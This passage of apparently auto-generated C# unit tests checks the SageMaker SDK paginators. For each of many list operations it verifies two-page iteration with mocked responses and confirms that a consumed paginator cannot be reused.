var response = InstantiateClassGenerator.Execute<ListCompilationJobsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListCompilationJobs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListCompilationJobs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListDomainsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListDomainsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListDomainsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListDomainsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListDomains(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListDomains(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListDomainsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListDomainsRequest>();
var response = InstantiateClassGenerator.Execute<ListDomainsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListDomains(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListDomains(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListEndpointConfigsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListEndpointConfigsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListEndpointConfigsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListEndpointConfigsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListEndpointConfigs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListEndpointConfigs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListEndpointConfigsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListEndpointConfigsRequest>();
var response = InstantiateClassGenerator.Execute<ListEndpointConfigsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListEndpointConfigs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListEndpointConfigs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListEndpointsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListEndpointsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListEndpointsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListEndpointsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListEndpoints(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListEndpoints(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListEndpointsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListEndpointsRequest>();
var response = InstantiateClassGenerator.Execute<ListEndpointsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListEndpoints(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListEndpoints(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListExperimentsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListExperimentsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListExperimentsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListExperimentsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListExperiments(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListExperiments(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListExperimentsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListExperimentsRequest>();
var response = InstantiateClassGenerator.Execute<ListExperimentsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListExperiments(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListExperiments(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListFlowDefinitionsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListFlowDefinitionsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListFlowDefinitionsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListFlowDefinitionsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListFlowDefinitions(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListFlowDefinitions(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListFlowDefinitionsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListFlowDefinitionsRequest>();
var response = InstantiateClassGenerator.Execute<ListFlowDefinitionsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListFlowDefinitions(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListFlowDefinitions(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListHumanTaskUisTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListHumanTaskUisRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListHumanTaskUisResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListHumanTaskUisResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListHumanTaskUis(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListHumanTaskUis(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListHumanTaskUisTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListHumanTaskUisRequest>();
var response = InstantiateClassGenerator.Execute<ListHumanTaskUisResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListHumanTaskUis(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListHumanTaskUis(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListHyperParameterTuningJobsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListHyperParameterTuningJobsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListHyperParameterTuningJobsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListHyperParameterTuningJobsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListHyperParameterTuningJobs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListHyperParameterTuningJobs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListHyperParameterTuningJobsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListHyperParameterTuningJobsRequest>();
var response = InstantiateClassGenerator.Execute<ListHyperParameterTuningJobsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListHyperParameterTuningJobs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListHyperParameterTuningJobs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListLabelingJobsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListLabelingJobsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListLabelingJobsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListLabelingJobsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListLabelingJobs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListLabelingJobs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListLabelingJobsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListLabelingJobsRequest>();
var response = InstantiateClassGenerator.Execute<ListLabelingJobsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListLabelingJobs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListLabelingJobs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListLabelingJobsForWorkteamTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListLabelingJobsForWorkteamRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListLabelingJobsForWorkteamResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListLabelingJobsForWorkteamResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListLabelingJobsForWorkteam(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListLabelingJobsForWorkteam(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListLabelingJobsForWorkteamTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListLabelingJobsForWorkteamRequest>();
var response = InstantiateClassGenerator.Execute<ListLabelingJobsForWorkteamResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListLabelingJobsForWorkteam(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListLabelingJobsForWorkteam(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListModelPackagesTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListModelPackagesRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListModelPackagesResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListModelPackagesResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListModelPackages(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListModelPackages(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListModelPackagesTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListModelPackagesRequest>();
var response = InstantiateClassGenerator.Execute<ListModelPackagesResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListModelPackages(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListModelPackages(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListModelsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListModelsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListModelsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListModelsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListModels(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListModels(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListModelsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListModelsRequest>();
var response = InstantiateClassGenerator.Execute<ListModelsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListModels(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListModels(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListMonitoringExecutionsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListMonitoringExecutionsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListMonitoringExecutionsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListMonitoringExecutionsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListMonitoringExecutions(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListMonitoringExecutions(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListMonitoringExecutionsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListMonitoringExecutionsRequest>();
var response = InstantiateClassGenerator.Execute<ListMonitoringExecutionsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListMonitoringExecutions(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListMonitoringExecutions(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListMonitoringSchedulesTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListMonitoringSchedulesRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListMonitoringSchedulesResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListMonitoringSchedulesResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListMonitoringSchedules(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListMonitoringSchedules(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListMonitoringSchedulesTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListMonitoringSchedulesRequest>();
var response = InstantiateClassGenerator.Execute<ListMonitoringSchedulesResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListMonitoringSchedules(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListMonitoringSchedules(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListNotebookInstanceLifecycleConfigsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListNotebookInstanceLifecycleConfigsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListNotebookInstanceLifecycleConfigsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListNotebookInstanceLifecycleConfigsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListNotebookInstanceLifecycleConfigs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListNotebookInstanceLifecycleConfigs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListNotebookInstanceLifecycleConfigsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListNotebookInstanceLifecycleConfigsRequest>();
var response = InstantiateClassGenerator.Execute<ListNotebookInstanceLifecycleConfigsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListNotebookInstanceLifecycleConfigs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListNotebookInstanceLifecycleConfigs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListNotebookInstancesTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListNotebookInstancesRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListNotebookInstancesResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListNotebookInstancesResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListNotebookInstances(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListNotebookInstances(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListNotebookInstancesTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListNotebookInstancesRequest>();
var response = InstantiateClassGenerator.Execute<ListNotebookInstancesResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListNotebookInstances(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListNotebookInstances(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListProcessingJobsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListProcessingJobsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListProcessingJobsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListProcessingJobsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListProcessingJobs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListProcessingJobs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListProcessingJobsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListProcessingJobsRequest>();
var response = InstantiateClassGenerator.Execute<ListProcessingJobsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListProcessingJobs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListProcessingJobs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListSubscribedWorkteamsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListSubscribedWorkteamsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListSubscribedWorkteamsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListSubscribedWorkteamsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListSubscribedWorkteams(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListSubscribedWorkteams(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListSubscribedWorkteamsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListSubscribedWorkteamsRequest>();
var response = InstantiateClassGenerator.Execute<ListSubscribedWorkteamsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListSubscribedWorkteams(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListSubscribedWorkteams(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListTagsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListTagsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListTagsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListTagsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListTags(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListTags(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListTagsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListTagsRequest>();
var response = InstantiateClassGenerator.Execute<ListTagsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListTags(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListTags(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListTrainingJobsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListTrainingJobsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListTrainingJobsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListTrainingJobsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListTrainingJobs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListTrainingJobs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListTrainingJobsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListTrainingJobsRequest>();
var response = InstantiateClassGenerator.Execute<ListTrainingJobsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListTrainingJobs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListTrainingJobs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListTrainingJobsForHyperParameterTuningJobTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListTrainingJobsForHyperParameterTuningJobRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListTrainingJobsForHyperParameterTuningJobResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListTrainingJobsForHyperParameterTuningJobResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListTrainingJobsForHyperParameterTuningJob(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListTrainingJobsForHyperParameterTuningJob(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListTrainingJobsForHyperParameterTuningJobTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListTrainingJobsForHyperParameterTuningJobRequest>();
var response = InstantiateClassGenerator.Execute<ListTrainingJobsForHyperParameterTuningJobResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListTrainingJobsForHyperParameterTuningJob(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListTrainingJobsForHyperParameterTuningJob(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListTransformJobsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListTransformJobsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListTransformJobsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListTransformJobsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListTransformJobs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListTransformJobs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListTransformJobsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListTransformJobsRequest>();
var response = InstantiateClassGenerator.Execute<ListTransformJobsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListTransformJobs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListTransformJobs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListTrialComponentsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListTrialComponentsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListTrialComponentsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListTrialComponentsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListTrialComponents(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListTrialComponents(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListTrialComponentsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListTrialComponentsRequest>();
var response = InstantiateClassGenerator.Execute<ListTrialComponentsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListTrialComponents(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListTrialComponents(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListTrialsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListTrialsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListTrialsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListTrialsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListTrials(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListTrials(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListTrialsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListTrialsRequest>();
var response = InstantiateClassGenerator.Execute<ListTrialsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListTrials(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListTrials(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListUserProfilesTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListUserProfilesRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListUserProfilesResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListUserProfilesResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListUserProfiles(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListUserProfiles(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListUserProfilesTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListUserProfilesRequest>();
var response = InstantiateClassGenerator.Execute<ListUserProfilesResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListUserProfiles(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListUserProfiles(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
